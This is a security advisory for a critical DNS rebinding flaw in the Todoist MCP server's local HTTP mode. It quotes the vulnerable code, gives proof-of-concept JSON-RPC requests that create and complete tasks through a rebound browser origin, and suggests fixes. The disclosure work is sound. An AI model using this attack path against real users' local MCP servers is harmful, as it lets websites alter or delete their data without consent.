GHSA-833v-v58w-294h

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Source
https://github.com/advisories/GHSA-833v-v58w-294h
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-833v-v58w-294h/GHSA-833v-v58w-294h.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-833v-v58w-294h
Aliases
Published
2026-11-19T20:38:35Z
Modified
2026-11-19T20:45:04Z
Severity
  • 9.3 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N CVSS Calculator
Summary
Todoist MCP Server: Browser DNS rebinding lets websites write and delete Todoist data through local MCP server
Details

The self-hosted todoist-mcp-http server accepts browser-origin MCP requests with attacker-controlled Host and Origin headers. A malicious website can use DNS rebinding to route its own origin to a victim's local 127.0.0.1 MCP server, then invoke Todoist MCP tools without a caller credential.

This affects github.com/Doist/todoist-mcp at commit d2903e0d945d2a559d71c091337ad6380511e62f, package version 10.3.1, when the optional Streamable HTTP server is running. The stdio entrypoint is not browser-reachable. The vulnerable browser-reachable component is todoist-mcp-http.

The documented HTTP server mode runs all MCP tools with the operator's TODOIST_API_KEY and binds to loopback by default:

TODOIST_API_KEY=your-key npx -p @doist/todoist-mcp todoist-mcp-http

src/main-http.ts:28-30 sets the HTTP bind host and port:

const PORT = Number.parseInt(process.env.PORT || '3000', 10)
const HOST = process.env.HOST || '127.0.0.1'
const LISTEN_HOST = normalizeListenHost(HOST)

src/main-http.ts:88-99 dispatches POST /mcp to StreamableHTTPServerTransport without validating Host or Origin:

app.post(
    '/mcp',
    requireValidTodoistToken({ type: 'static', apiKey: todoistApiKey, baseUrl }),
    async (req: Request, res: Response) => {
        const transport = new StreamableHTTPServerTransport({
            sessionIdGenerator: undefined,
        })

        const server = getMcpServer({ todoistApiKey, baseUrl })
        await server.connect(transport)
        await transport.handleRequest(req, res, req.body)
    },
)

src/middleware/require-valid-todoist-token.ts:105-117 validates the configured server-side Todoist token and then forwards the request. It does not authenticate the browser caller:

const valid = await getValidation()

if (valid) {
    next()
    return
}

src/mcp-server.ts:215-285 registers Todoist read and write tools against the server-side Todoist API client, including add-tasks, complete-tasks, update-tasks, delete-object, comments, reminders, labels, filters, goals, and assignments.

Proof of concept

Start the upstream local HTTP server with an operator-owned Todoist test account:

git clone https://github.com/Doist/todoist-mcp.git
cd todoist-mcp
git checkout d2903e0d945d2a559d71c091337ad6380511e62f
npm ci --ignore-scripts
npm run build

export TODOIST_API_KEY='<Todoist test account API token>'
PORT=8082 HOST=127.0.0.1 node dist/main-http.js

The server prints:

Todoist MCP HTTP Server started on 127.0.0.1:8082
MCP endpoint: http://127.0.0.1:8082/mcp

From a browser page using DNS rebinding, route the attacker origin to 127.0.0.1:8082 and send MCP JSON-RPC requests to POST /mcp.

First enumerate tools. The rebound browser session can list Todoist write tools such as add-tasks and complete-tasks.

Call user-info:

{
  "jsonrpc": "2.0",
  "id": 3,
  "method": "tools/call",
  "params": {
    "name": "user-info",
    "arguments": {}
  }
}

Observed result: the response returns the Todoist account tied to the server-held TODOIST_API_KEY.

Create a disposable task:

{
  "jsonrpc": "2.0",
  "id": 4,
  "method": "tools/call",
  "params": {
    "name": "add-tasks",
    "arguments": {
      "tasks": [
        {
          "content": "DNS REBINDING DEMO - attacker-created task",
          "description": "Created through browser-origin DNS rebinding against local todoist-mcp-http.",
          "priority": "p1",
          "dueString": "today"
        }
      ]
    }
  }
}

Observed result: Todoist creates the task and the MCP response returns the new task ID.

Complete the same task:

{
  "jsonrpc": "2.0",
  "id": 5,
  "method": "tools/call",
  "params": {
    "name": "complete-tasks",
    "arguments": {
      "ids": [
        "<RETURNED_TASK_ID>"
      ]
    }
  }
}

Observed result: the MCP response returns successCount: 1, and the Todoist UI shows the same task completed.

demo video

Impact

A public website can operate a victim's local todoist-mcp-http server when the optional HTTP transport is running. The browser does not supply a Todoist API token. The MCP server supplies its configured TODOIST_API_KEY.

The demonstrated impact is Todoist task creation and completion. The same browser-origin path exposes the rest of the registered Todoist write surface, including task updates, task rescheduling, project and section changes, comments, reminders, filters, labels, goals, assignments, and object deletion.

This violates the browser-origin boundary. A user can run the MCP server only on loopback and still become reachable from an unrelated public website because DNS rebinding preserves the attacker's Host and Origin while routing the TCP connection to 127.0.0.1.

Why this is a vulnerability

  • The default HTTP bind target is loopback, which users reasonably treat as local-only.
  • DNS rebinding makes loopback HTTP reachable from a public website unless the server validates Host and Origin.
  • The MCP route does not require a per-request caller secret.
  • The middleware validates the server's Todoist backend token, not the browser caller.
  • Tool execution uses the server-held TODOIST_API_KEY to mutate Todoist state.

Remediation

Add strict Host validation before MCP dispatch. For local deployments, accept only explicit loopback hostnames such as 127.0.0.1, localhost, [::1], and any operator-configured trusted names.

Reject browser requests with missing or untrusted Origin values before they reach StreamableHTTPServerTransport.

Require a per-run local bearer token or equivalent caller secret for HTTP MCP mode, including loopback deployments. Host and Origin validation reduce DNS-rebinding exposure, but they are not caller authentication.

Enable DNS rebinding protection in the MCP SDK HTTP transport if available, and pass explicit allowed host and origin lists. Keep stdio as the safest default local transport.

Reporter

Avishai Gonen - Pluto Security

Database specific
{
    "cwe_ids": [
        "CWE-346",
        "CWE-350"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-19T20:38:35Z",
    "nvd_published_at": "2026-11-18T20:19:13Z",
    "severity": "CRITICAL"
}
References

Affected packages

npm / @doist/todoist-mcp

Package

Name
@doist/todoist-mcp
View open source insights on deps.dev
Purl
pkg:npm/%40doist/todoist-mcp

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
10.3.3

Database specific

last_known_affected_version_range
"<= 10.3.2"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-833v-v58w-294h/GHSA-833v-v58w-294h.json"